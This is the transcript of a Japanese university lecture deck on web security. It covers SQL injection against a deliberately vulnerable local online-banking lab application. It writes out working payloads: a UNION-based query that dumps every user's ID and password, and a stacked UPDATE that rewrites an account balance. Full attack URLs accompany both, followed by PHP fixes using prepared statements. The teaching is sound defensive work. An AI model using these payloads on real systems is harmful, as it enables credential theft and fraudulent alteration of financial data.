サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―

Slides:



Advertisements
Similar presentations
情報アプリケーション1 2006 年 10 月 12 日 第四回資料 担当 重定 如彦. 目次 データの送信とフォーム クイズ CGI 複数のパーツのデータの分割方法 配列変数.
Advertisements

1 安全性の高いセッション管理方 式 の Servlet への導入 東京工業大学 理学部 千葉研究室所属 99-2270-6 松沼 正浩.
サイバーセキュリティ演習 ― Web セキュリティ基礎 & 実践 ― 9. 偽リクエストによるサービスの不正利用対策.
Accessによるデータベース(1) Ver.1 /11.
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
情報理工学部 情報システム工学科 ラシキアゼミ 3年 H 井奈波 和也
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
情報理工学部 情報システム工学科 3年 H 井奈波 和也
SQLの条件節が動的に構成されることを考慮した データベース接続APIの設計
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
JPAを利用した RESTful Webサービスの開発
WEBから確認できる 駐車場管理システムについて
実習用サーバの利用開始手順 (Windowsの場合) TeraTerm Proをインストール 公開鍵をメールで送付
3-1 MySQLについて 発表者:藤村元彦 自然言語処理研究室.
ISCCD7.5構築 その2 Middleware 導入
talend活用事例 ・ナビゲータグラフのカスタマイズにおける事例 ・CSVダウンロードでのカスタマイズ事例
6-2 データベース 1.SQLite SQLを単純化した SQLite を使ってデータベースを操作 表「fruit」
エンタープライズアプリケーション II 第10回 / 2006年7月23日
SQL J2EE I 第3回 /
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
第2回:Javaの変数と型の宣言 プログラミングII 2007年10月2日.
キャンパスクラウドによる 実験環境の構築 情報ネットワーク特論 講義資料.
第4回 個人の動画配信補足のためのWeb構築
Vulnerability of Cross-Site Scripting
3-2.データを取り出す 2004年 5月20日(木) 01T6074X 茂木啓悟.
HTTPプロトコルとJSP (1) データベース論 第3回.
HTTPプロトコル J2EE I 第7回 /
Day3 Day4 Day3 Day4.
 データベースによる並列処理 情報論理工学研究室  三宅健太.
09 06/23 PHP と SQL (MySQL) の連携 その2
(B2) 親: minami, kazuki 多様な認証機器に対応する 認証システム (B2) 親: minami, kazuki.
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
情報セキュリティ読本 四訂版 - IT時代の危機管理入門 -
岡村耕二 サイバーセキュリティ Web セキュリティ 岡村耕二 情報ネットワーク.
データベース設計 第9回 Webインタフェースの作成(1)
マイクロソフト Access での SQL 演習 第1回 SQL問い合わせ(クエリ)
第8章 Web技術とセキュリティ   岡本 好未.
プログラム実行履歴を用いたトランザクションファンクション抽出手法
管理画面操作マニュアル <サイト管理(1)> 基本設定 第9版 改訂 株式会社アクア 1.
第2回 SQL インジェクション その攻撃と対処 NECラーニング 山崎 明子.
2004/05/13 3-4 データ型(カラムタイプ) について 発表者:藤村元彦 自然言語処理研究室.
九州大学キャンパスクラウド 利用法 情報ネットワーク特論 講義資料.
ネットワークプログラミング論 平成28年12月26日 森田 彦.
JDBC J2EE I 第4回 /
第2回.リレーショナルデータベース入門 SQL を用いたテーブルへの行の挿入 SQL 問い合わせの発行と評価結果の確認.
第2回.リレーショナルデータベース入門 SQL を用いたテーブルへの行の挿入 SQL 問い合わせの発行と評価結果の確認.
第9章 例外処理,パッケージ 9.1 例外処理 9.2 ガーベッジコレクション.
マイクロソフト Access での SQL 演習 第5回 副問い合わせ
第3回.テーブルの結合 結合条件 SQL を用いた結合問い合わせ.
第3回.テーブルの結合 結合条件 SQL を用いた結合問い合わせ.
Javaによる Webアプリケーション入門 第7回
キャンパスクラウドによる 実験環境の構築 情報ネットワーク特論 講義資料.
Webセキュリティ 情報工学専攻 1年 赤木里騎 P226~241.
3-3.テーブルを更新する 2004年 4月22日(木) 01T6074X 茂木啓悟.
発注者側サイト操作説明書 作成日:2004年6月 Ver1.0 初版 改 訂:2005年9月 Ver1.2 株式会社 コニファ.
オープンソース開発支援のための リビジョン情報と電子メールの検索システム
講義ノート共有データベース NoteTotter?
データベース設計 第8回 クライアント=サーバーモデル(2)
JDBC J2EE I (データベース論) 第5回 /
情報システム1及び演習 第一回 データベースの概要.
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
JDBC ソフトウェア特論 第3回.
オブジェクト指向言語論 第六回 知能情報学部 新田直也.
プログラミング言語論 第六回 理工学部 情報システム工学科 新田直也.
情報基礎演習I(プログラミング) 第11回 7月12日 水曜5限 江草由佳
第6回レポート解説 条件1 条件2 条件3 月の入力 月、日、曜日の表示 日の入力 曜日の入力
CO-Client Opeartion 1.1 利用履歴データベースの設計 (スキーマ バージョン 対応)
第2回.リレーショナルデータベース入門 SQL を用いたテーブルへの行の挿入 SQL 問い合わせの発行と評価結果の確認.
データの改竄を防ぐ仕組み 2002/9/12 牧之内研究室「インターネット実習」Webページ
オブジェクト指向言語論 第六回 知能情報学部 新田直也.
Presentation transcript:

サイバーセキュリティ演習 ― Webセキュリティ基礎&実践― 7. データベースの不正操作対策

講義内容 1. 2*. Webサイトの仕組みとWebプログラミング基礎 3.4.5*. 不正スクリプトの実行対策 6.7*. データベースの不正操作対策 8*. システムの不正操作対策とHTTPレスポンスの改竄対策 9*. 偽リクエストによるサービスの不正利用対策 10*. セッションIDの 不正取得対策 11. 総合演習(1) 12*. 公開ディレクトリの不正横断対策と認証認可制御の欠落 による不正アクセス対策とエラーメッセージからの情報 漏えい対策 13. 総合演習(2) 14. 総合演習(3) 15. 学期末試験 ※*はレポートがある回になります。

本日の内容 SQLインジェクションの脆弱性攻撃体験と 脆弱性の修正 他テーブル情報の漏えい(数値リテラル) データベースの改ざん(数値リテラル)

演習テーマ SQLインジェクション 「他テーブル情報の漏えい(数値リテラル)」のリン クをクリックしましょう。

UNION句を用いたSQLインジェクションの原理 ユーザからの入力値を連結してSQL文を組み立てることによ り、 UNION句を用いた意図しないSQL文を実行され、本来取 得するべきでないテーブル情報を取得されてしまう

UNION句とは 複数のSELECT文によって取得した結果を結合するために 使用されるSQLの演算子 テーブル1のカラム1(文字列)とカラム2(数値)に、テーブル2 のカラム1(文字列)とカラム3(数値)を結合する場合、 SELECT カラム1, カラム2 FROM テーブル1 UNION SELECT カラム1, カラム3 FROM テーブル2;

以下のように2つのテーブルを結合したい場合 accountテーブル ログインID (id:文字列) 口座番号 (account_id:数値) 残高 (balance:数値) yamada 1000002 200,000 結合 account_historyテーブル 口座番号 (account_id:数値) 取引日(trade_date:文字列) 取引種別(trade_type:文字列) 備考 (note:文字列) 入金額 (money_in:数値) 出金額 (money_out:数値) 残高 (balance:数値) 1000001 6/7 入金 ATM 100,000

UNION句による結合例 SELECT account_id, trade_date, trade_type, note, money_in, money_out, balance FROM account_history UNION SELECT account_id, NULL, NULL, NULL, 0, 0, balance FROM account WHERE id=yamada; NULLはデータが無いあるいは未定義という意味で、該当する値 がないことを表している 口座番号 (account_id:数値) 取引日(trade_date:文字列) 取引種別(trade_type:文字列) 備考 (note:文字列) 入金額 (money_in:数値) 出金額 (money_out:数値) 残高 (balance:数値) 1000001 6/7 入金 ATM 100,000 1000002 NULL 200,000

演習内容(疑似的な攻撃) オンラインバンキングの入出金履歴照会ページから UNION句を用いたSQL文を送信し、入出金履歴照会ペー ジで全てのユーザのログインIDとパスワードを表示する 脆弱性があるウェブサイト オンラインバンキング

3つのデータベースがあります。 userテーブル ログインID (id:文字列) ユーザ名 (name:文字列) パスワード (password:文字列) yamada Yamada Taro P@ssword suzuki Suzuki Jiro 3f858c accountテーブル ログインID (id:文字列) 口座番号 (account_id:数値) 残高 (balance:数値) yamada 1000002 200,000 account_historyテーブル 口座番号 (account_id:数値) 取引日(trade_date:文字列) 取引種別(trade_type:文字列) 備考 (note:文字列) 入金額 (money_in:数値) 出金額 (money_out:数値) 残高 (balance:数値) 1000001 6/7 入金 ATM 100,000

入出金履歴処理では、次のSQL文が使用されています。 ユーザからの入力値 1000001 ウェブアプリケーションによるSQL文の組み立て SELECT account_history.trade_date, account_history.trade_type, account_history.note, account_history.money_in, account_history.money_out, account_history.balance FROM account, account_history WHERE account.id = ‘yamada’ AND account.account_id = account_history.account_id AND account_history.account_id = ; 最終的に生成されたSQL文 SELECT account_history.trade_date, account_history.trade_type, account_history.note, account_history.money_in, account_history.money_out, account_history.balance FROM account, account_history WHERE account.id = ‘yamada’ AND account.account_id = account_history.account_id AND account_history.account_id = 1000001 ;

複数のテーブルを1つのSQL文で扱う方法 account_historyの全カラムを指定 SELECT account_history.trade_date, account_history.trade_t ype, account_history.note, account_history.money_in, acco unt_history.money_out, account_history.balance  FROM account, account_history  WHERE account.id = ‘yamada’ AND account.account_id = account_history.account_id AND account_history.account_id = 1000001; accountテーブルとaccount_historyテーブルを指定 idがyamadaかつaccount_idが同じかつaccount_idが1000001を指定

UNION句を用いたSQLインジェクションの攻撃手口 ユーザからの入力値 1000001 UNION SELECT NULL, id, password, 0,0,0 FROM user ウェブアプリケーションによるSQL文の組み立て SELECT account_history.trade_date, account_history.trade_type, account_history.note, account_history.money_in, account_history.money_out, account_history.balance FROM account, account_history WHERE account.id = ‘yamada’ AND account.account_id = account_history.account_id AND account_history.account_id = ; 最終的に生成されたSQL文 SELECT account_history.trade_date, account_history.trade_type, account_history.note, account_history.money_in, account_history.money_out, account_history.balance FROM account, account_history WHERE account.id = ‘yamada’ AND account.account_id = account_history.account_id AND account_history.account_id = 1000001 UNION SELECT NULL, id, password, 0,0,0 FROM user ;

UNION句を用いたSQLインジェクションの攻撃手口 カラムの数とデータ型を合わせる UNION SELECT NULL, id, password, 0,0,0 FROM user 取引日(trade_date:文字列) 取引種別(trade_type:文字列) 備考 (note:文字列) 入金額 (money_in:数値) 出金額 (money_out:数値) 残高 (balance:数値) 6/7 入金 ATM 100,000 yamada P@ssword suzuki 3f858c

演習の進め方 Webサイトの挙動を把握する 脆弱性となる箇所を特定する 全てのユーザのIDとパスワードを表示させる数値 リテラルを考える 不正アクセスのURLを作成し実行する

1.Webサイトの挙動を把握する オンラインバンクの入出 金履歴ページの動作を確 認する。 攻撃者として、利用でき ることを考える。 SQL文のエラーを起こす 値を入力して、脆弱な個 所を発見しましょう。 URLも確認しましょう。

2.脆弱性となる箇所を特定する 数値リテラルの終端を狙い、account_idにシングルクォー ト(’)を入力してみる http://localhost/Web/Scenario110/VulSoft/bank.php?pa ge=4&account_id=‘; 構文エラーが出たということは、入力値を含んだSQL文が作成され、データベースに問い合わせされたと推測できる 正常(番号が無ければ表示されない) 脆弱性あり(データベースエラー)

3.全てのユーザのIDとパスワードを表示させる数値リテラルを考える 入出金履歴処理では、次のSQL文が使用されています。 SELECT account_history.trade_date, account_history.tra de_type, account_history.note, account_history.money_ in, account_history.money_out, account_history.balanc e FROM account, account_history WHERE account.id = ‘yamada’ AND account.account_id = account_history.account_id AND account_history.account_id = 1000001; カラム数とデータ型に注意しながらUNION句を使用してid とpasswordの値をuserテーブルから取得する数値リテラ ルを考えましましょう。 UNION SELECT NULL,id,password,0,0,0 FROM user

4.不正アクセスのURLを作成し実行する 入出金履歴のURLは以下の通りです。 考えた数値リテラルを追記したURLを作成しましょ う。 http://localhost/Web/Scenario110/VulSoft/bank. php?page=4&account_id=1000001 考えた数値リテラルを追記したURLを作成しましょ う。 http://localhost/Web/Scenario110/VulSoft/bank. php?page=4&account_id=1000001 UNION SELECT NULL,id,password,0,0,0 FROM user

4.不正アクセスのURLを作成し実行する 全ユーザのIDとパスワードが取得できるか確認しま しょう まずは、yamadaのIDでログインしましょう。 ログインIDは「yamada」 パスワードは「P@ssword」 ログイン後、作成したURLをURL欄に入力しましょう。

4.不正アクセスのURLを作成し実行する 「Congratulations!!演習の目標を達成しまし た。」と表示されたら、OKです。

対処方法 原因 外部から入力できるパラメータをそのまま文字列連結 してSQL文を組み立てるため、別のテーブルのデータ を取得するSQLの結合によりSQL文が変更されてしまい、 そのままSQLの処理が実行される 対処方法 数値リテラルの入力値を値そのものとして解釈させる ために、SQL文の組み立ては全てプレースホルダを用 いてプリペアドステートメントで実装する。

演習内容(脆弱性の修正) オンラインバンキングのUNION句を用いたSQLインジェ クションの脆弱性となるコードを特定し、動的プレース ホルダの実装を行う 演習では、脆弱性のあるWebアプリケーションとデータ ベースサーバが同一ホスト上にあるため、結果として動 的プレースホルダの実装で演習を進めることになります。

修正プログラム オンラインバンキング bank.php bank110.class.php メッセージ割り当て テンプレート表示 bank110.class.php データベースのデータの初期設定 テーブルからの情報取得の成功判定 口座番号の有効性の検証 履歴データの取得処理

脆弱性の修正の手順 bank110.class.php 履歴データの取得の内容の確認。 プレースホルダを使用する箇所の特定。 プレースホルダを使ったプリペアドステートメントの 実装。

データベース、セッション、アカウントIDの情報を取得 1.履歴データの取得の内容の確認 public function proc_record() { $param = $this->get_param(); $account_history = array(); if (isset($param[parent::ACCOUNT_ID])) { $money_columns = array(parent::BALANCE, parent::MONEY_OUT, parent::MONEY_IN); $stmt = null; $db = $this->get_db(); $session = $this->get_session(); $id = $session[$this->get_login()][parent::USER_ID]; $account_id = $param[parent::ACCOUNT_ID]; (次ページに続く) 入金額、出金額、残高の情報を取得 データベース、セッション、アカウントIDの情報を取得

1.履歴データの取得の内容の確認 SQL文を作成 (つづき) $sql = " SELECT account_history.trade_date, account_history.trade_type, account_history.note, account_history.money_in, account_history.money_out, account_history.balance FROM account, account_history WHERE account.id = '{$id}' AND account.account_id = account_history.account_id AND account_history.account_id = {$account_id}"; (次ページに続く) SQL文を作成

1.履歴データの取得の内容の確認 (つづき) try { $stmt = $db->prepare($sql); if ($stmt == null) { throw new Exception(); } // SQL文を実行 $result1 = $stmt->execute(); } catch (Exception $e) { throw new Exception((__LINE__ . json_encode($db- >errorInfo())), LogUtil::ERROR_DB_EXECUTE); (次ページに続く) プリペアドステートメントを実行

1.履歴データの取得の内容の確認 account_historyテーブルの検索結果を取得 (つづき) while ($row = $stmt->fetch()) { if (!(isset($row[parent::TRADE_DATE]))) { $row[parent::TRADE_DATE] = $row["account_history.trade_date"]; $row[parent::TRADE_TYPE] = $row["account_history.trade_type"]; $row[parent::NOTE] = $row["account_history.note"]; $row[parent::MONEY_IN] = $row["account_history.money_in"]; $row[parent::MONEY_OUT] = $row["account_history.money_out"]; $row[parent::BALANCE] = $row["account_history.balance"]; } $tmp_array = explode(" ", $row[parent::TRADE_DATE]); $row[parent::TRADE_DATE] = isset($tmp_array[1]) ? $tmp_array[1] : ""; (次ページに続く) explode関数で取引日をスペースで分割し、配列に格納 isset関数で変数がセットされているか確認

account_historyテーブルのカラム情報を設定 1.履歴データの取得の内容の確認 account_historyテーブルのカラム情報を設定 (つづき) foreach ($money_columns as $column_name) { try { $row[$column_name] = number_format($row[$column_name]); } catch (Exception $e) { $row[$column_name] = false; } $account_history[] = $row; $this->set_content(parent::ACCOUNT_HISTORY, $account_history); $this->is_success($account_history); $result2 = $this->set_accounts(); 攻撃成功判定

2.プレースホルダを使用する箇所の特定 $sql = " SELECT account_history.trade_date, account_history.trade_type, account_history.note, account_history.money_in, account_history.money_out, account_history.balance FROM account, account_history WHERE account.id = '{$id}' AND account.account_id = account_history.account_id AND account_history.account_id = {$account_id}";

2.プレースホルダを使用する箇所の特定 try { $stmt = $db->prepare($sql); if ($stmt == null) { throw new Exception(); } // SQL文を実行 $result1 = $stmt->execute(); } catch (Exception $e) { throw new Exception((__LINE__ . json_encode($db- >errorInfo())), LogUtil::ERROR_DB_EXECUTE);

3.プレースホルダを使ったプリペアドステートメントの実装 $sql = " SELECT account_history.trade_date, account_history.trade_type, account_history.note, account_history.money_in, account_history.money_out, account_history.balance FROM account, account_history WHERE account.id = ? AND account.account_id = account_history.account_id AND account_history.account_id = ? ";

3.プレースホルダを使ったプリペアドステートメントの実装 try { $stmt = $db->prepare($sql); if ($stmt == null) { throw new Exception(); } // SQL文を実行 $result1 = $stmt->execute(array($id, $account_id)); } catch (Exception $e) { throw new Exception((__LINE__ . json_encode($db- >errorInfo())), LogUtil::ERROR_DB_EXECUTE);

動作確認 ログインIDに「yamada」、パスワードに 「 P@ssword 」を入力してログインしてみましょう。 URL欄に次のURLを入力してみましょう http://localhost/Web/Scenario110/EditSoft/bank. php?page=4&account_id=99 UNION SELECT NUL L,id,password,0,0,0 FROM user 履歴紹介ページに全てのユーザのIDとパスワードが表示 されなければOKです。

UNION句を用いたSQLインジェクションの要点 UNION句を用いたSQLインジェクションの脆弱性の原因 も、ユーザから受け取った入力値をそのまま文字連結し てSQL文を組み立てていることです。 プレースホルダを用いたプリペアドステートメントによ るSQL文の組み立てを行い、ユーザからの入力値をエス ケープ処理するようにしましょう。

本日の内容 SQLインジェクションの脆弱性攻撃体験と 脆弱性の修正 他テーブル情報の漏えい(数値リテラル) データベースの改ざん(数値リテラル)

演習テーマ SQLインジェクション 「データベースの改ざん(数値リテラル)」のリンク をクリックしましょう。

SQLの複文を用いたSQLインジェクションの原理 ユーザからの入力値を連結してSQL文を組み立てることによ り、 SQLの複文を用いた意図しないSQL文を実行され、テー ブル情報を改ざんされてしまう

SQLの複文とは SQL文をセミコロン(;)で区切って複数のSQLを記 述すること。 一度に複数のSQL文を実行することが可能 SELECT balance FROM account WHERE account_id = ‘1000001’ ; UPDATE account SET balance = balance + 10000 WHERE account_id = ‘1000001’; accountテーブル ログインID (id:文字列) 口座番号 (account_id:数値) 残高 (balance:数値) yamada 1000001 100,000

UPDATE文 データを更新するためのデータ操作言語 UPDATE <テーブル名> SET <カラム名>=<値> [WHERE <条件>]; UPDATE account SET balance=balance+100000 WHERE account_id=‘1000001’; UPDATE account:accountテーブルを更新する SET balance=balance+100000 :残高(balance)に 100000を追加してから WHERE account_id=‘1000001’: account_id=100000に一致する組(行)の

UPDATE文の例 UPDATE account SET balance=balance+100000 WHERE account_id=‘1000001’; accountテーブル ログインID (id:文字列) 口座番号 (account_id:数値) 残高 (balance:数値) yamada 1000001 100,000 更新 accountテーブル ログインID (id:文字列) 口座番号 (account_id:数値) 残高 (balance:数値) yamada 1000001 200,000

SQLの複文を用いたSQLインジェクションの攻撃手口 SQLの複文を使って、本来のUPDATE文に不正のUPDATE 文を追加し、データベースの情報を上書きする 本来のUPDATE文 UPDATE account SET balance=balance+10000 WHERE account_id=1000001 不正なUPDATE文 ; UPDATE account SET balance=1000000 WHERE account_id=‘1000001’; accountテーブル ログインID (id:文字列) 口座番号 (account_id:数値) 残高 (balance:数値) yamada 1000001 1,000,000 更新

演習内容(疑似的な攻撃) オンラインバンキングの振込処理ページから、複文を用 いたSQL文を送信し、口座残高を書き換えて残高を増やす 脆弱性があるウェブサイト オンラインバンキング

演習の進め方 Webサイトの挙動を把握する 脆弱性となる箇所を特定する 口座残高を書き換える数値リテラルを考える 不正アクセスのURLを作成し実行する

1.Webサイトの挙動を把握する オンラインバンクの振込 処理ページの動作を確認 する。 攻撃者として、利用でき ることを考える。 SQL文のエラーを起こす 値を入力して、脆弱な個 所を発見しましょう。 振込後のURLも確認しま しょう。

2.脆弱性となる箇所を特定する 数値リテラルの終端を狙い、振込先口座に「1 OR 1=1」を入力 してみる 正常(番号が無ければ処理されない) 脆弱性あり(処理が実行される)

3.全てのユーザの口座残高を表示させる数値リテラルを考える 振込処理では、次のSQL文が使用されています。 UPDATE account SET balance = balance + 振込金 額 WHERE account_id = 振込先口座番号; 複文を使用して残高を書き換えるUPDATE文を考え ましょう。 口座番号1000001の残高を1,000,000円にしましょう UPDATE account SET balance=balance+10000 WHERE account_id=1000002 ; UPDATE account SET balance = 10000000 WHER E account_id =1000001

4.不正アクセスのURLを作成し実行する 振込処理後のURLは以下の通りです。 考えた数値リテラルを追記したURLを作成しましょ う。 http://localhost/Web/Scenario111/VulSoft/bank. php?page=7&from_account_id=1000001&to_ac count_id=1000002&amount=1000 考えた数値リテラルを追記したURLを作成しましょ う。 http://localhost/Web/Scenario111/VulSoft/bank. php?page=7&from_account_id=1000001&amou nt=1000&to_account_id=1000002;update accou nt set balance=10000000 where account_id=100 0001

4.不正アクセスのURLを作成し実行する 振込口座1000002の残高が100万円になっているか 確認しましょう まずは、yamadaのIDでログインしましょう。 ログインIDは「yamada」 パスワードは「P@ssword」 ログイン後、作成したURLをURL欄に入力しましょう。

4.不正アクセスのURLを作成し実行する 指定した口座番号の残高が100万円と表示されたら、 OKです。

対処方法 原因 外部から入力できるパラメータをそのまま文字列連結 してSQL文を組み立てるため、データを上書きするSQL の追加によりSQL文が変更されてしまい、そのままSQL の処理が実行される 対処方法 数値リテラルの入力値を値そのものとして解釈させる ために、SQL文の組み立ては全てプレースホルダを用 いてプリペアドステートメントで実装する。

演習内容(脆弱性の修正) オンラインバンキングの複文を用いたSQLインジェク ションの脆弱性となるコードを特定し、動的プレースホ ルダの実装を行う 演習では、脆弱性のあるWebアプリケーションとデータ ベースサーバが同一ホスト上にあるため、結果として動 的プレースホルダの実装で演習を進めることになります。

修正プログラム オンラインバンキング bank.php bank111.class.php メッセージ割り当て テンプレート表示 bank111.class.php データベースのデータの初期設定 テーブルからの情報取得の成功判定 ユーザの口座情報の取得 振込処理(金額、振込元口座、振込先口座)の検証 振込処理 SQL文の実行 SQLインジェクション(口座残高と入出金残高の比較)の チェック

脆弱性の修正の手順 bank111.class.php 振込処理の内容の確認。 プレースホルダを使用する箇所の特定。 プレースホルダを使ったプリペアドステートメントの 実装。

セッション、ログインユーザID、振込金額、振込元口座番号、振込先口座番号の情報を取得 1.振込処理の内容の確認 public function proc_transfer() { $before_accounts = $this->get_accounts(); $session = $this->get_session(); $id = $session[$this->get_login()][parent::USER_ID]; $param = $this->get_param(); $amount = $param[parent::AMOUNT]; $from_account_id = $param[parent::FROM_ACCOUNT_ID]; $to_account_id = $param[parent::TO_ACCOUNT_ID]; $db = $this->get_db(); $account_to_check_flg = true; $db->beginTransaction(); (次ページに続く) セッション、ログインユーザID、振込金額、振込元口座番号、振込先口座番号の情報を取得 トランザクションの開始

振込元の口座残高を更新するSQL文の組み立と実行 1.振込処理の内容の確認 振込元の口座残高を更新するSQL文の組み立と実行 (つづき) $from_sql = "UPDATE account SET balance = balance - " . $amount . " WHERE account_id = " . $from_account_id . " AND id = '" . $id . "'"; $this->execute_sql($db, $from_sql); $account_from_data = $this->get_from_account_data(); $this->write_record($account_from_data[parent::ACCOUNT_ID], date(parent::DATE_FORMAT), parent::CONTENT_TYPE4, parent::CONTENT_TYPE8, 0, $amount, (int)$account_from_data[parent::BALANCE]); (次ページに続く) 振込元のデータを取得 振込元の履歴を記録

振込先の口座残高を更新するSQL文の組み立と実行 1.振込処理の内容の確認 振込先の口座残高を更新するSQL文の組み立と実行 (つづき) $to_sql = "UPDATE account SET balance = balance + " . $amount . " WHERE account_id = " . $to_account_id; $row = $this->execute_sql($db, $to_sql); if ($row <= 0) { $account_to_check_flg = false; } $account_to_stmt; try { $account_to_stmt = $db->prepare(parent::ACCOUNT_TO_SQL); $account_to_stmt->execute(array(parent::ACCOUNT_ID => $param[parent::TO_ACCOUNT_ID])); } catch (Exception $e) { throw new Exception((__LINE__ . json_encode($this->_db->errorInfo())), LogUtil::ERROR_DB_EXECUTE); (次ページに続く) 振込先のデータを取得

1.振込処理の内容の確認 振込先の履歴を記録 SQLインジェクションの判定 (つづき) $account_to_data = $account_to_stmt->fetch(); if ($account_to_data) { $this->write_record($account_to_data[parent::ACCOUNT_ID], date(parent::DATE_FORMAT), parent::CONTENT_TYPE4, parent::CONTENT_TYPE8, $amount, 0, (int)$account_to_data[parent::BALANCE]); } else { $account_to_check_flg = false; } $sql_injection = $this->check_sql_injection($id, $from_account_id); (次ページに続く) 振込先の履歴を記録 SQLインジェクションの判定

1.振込処理の内容の確認 演習課題の攻撃成功判定 振込完了のフラグをセット 残高照会画面の処理 (つづき) $success = $this->is_success($before_accounts); if (($success | $sql_injection) == false && $account_to_check_flg == false) { $db->rollBack(); $result = false; $this->set_error(self::PAGE_TRANSFER_INPUT, parent::WARNING10, $result); $this->set_param(parent::ACCOUNT_ID, $param[parent::FROM_ACCOUNT_ID]); $this->proc_inquiry(); return $result; } $this->set_transfer(true); $this->set_page(parent::PAGE_INQUIRY); $db->commit(); return true; 振込完了のフラグをセット 残高照会画面の処理

2.プレースホルダを使用する箇所の特定 $from_sql = "UPDATE account SET balance = balance - " . $amount . " WHERE account_id = " . $from_account_id . " AND id = '" . $id . "'"; $this->execute_sql($db, $from_sql); (省略) $to_sql = "UPDATE account SET balance = balance + " . $amount . " WHERE account_id = " . $to_account_id; $row = $this->execute_sql($db, $to_sql); try/catchによる例外処理を施してていない prepare関数によるSQL文の準備をしていない プレースホルダーを使っていない プレースホルダに代入する値をexecute関数に配列で渡していない

3.プレースホルダを使ったプリペアドステートメントの実装 try{ $from_stmt = $db->prepare("UPDATE account SET balance = balance - ? WHERE account_id = ? AND id = ?"); $from_stmt->execute(array($amount, $from_account_id, $id)); }catch{Exception $e){ throw new Exception((__LINE__ . ":" . json_encode($db- >errorInfo())), LogUtil::ERROR_DB_EXECUTE); } (省略)

3.プレースホルダを使ったプリペアドステートメントの実装 $row = 0; try { $to_stmt = $db->prepare("UPDATE account SET balance = balance + ? WHERE account_id = ?"); $to_stmt->execute(array($amount, $to_account_id)); $row = $to_stmt->rowCount(); } catch (Exception $e) { throw new Exception((__LINE__ . ":" . json_encode($db- >errorInfo())), LogUtil::ERROR_DB_EXECUTE); } (省略)

動作確認 ログインIDに「yamada」、パスワードに 「 P@ssword 」を入力してログインしてみましょう。 URL欄に次のURLを入力してみましょう http://localhost/Web/Scenario111/EditSoft/bank.php ?page=7&from_account_id=1000001&amount=1000 &to_account_id=1000002;update account set balan ce=10000000 where account_id=1000001 指定した口座番号の残高が100万円と表示されなければ OKです。

複文を用いたSQLインジェクションの要点 複文を用いたSQLインジェクションの脆弱性の原因も、 ユーザから受け取った入力値をそのまま文字連結して SQL文を組み立てていることです。 プレースホルダを用いたプリペアドステートメントによ るSQL文の組み立てを行い、ユーザからの入力値をエス ケープ処理するようにしましょう。

課題 実際に、SQLインジェクションの脆弱性を突 かれて被害を受けた事件を調査し、1)被 害の内容と時期、2)攻撃方法とその攻撃 で可能だったこと、3)脆弱性が生まれた 原因、4)実施された対策について、参考 にした情報源などを引用しつつ簡潔にまと めてください。 本講義の感想、要望、質問などあれば、書 いてください。 https://moodle.artsci.kyushu-u.ac.jp/course/view.php?id=2661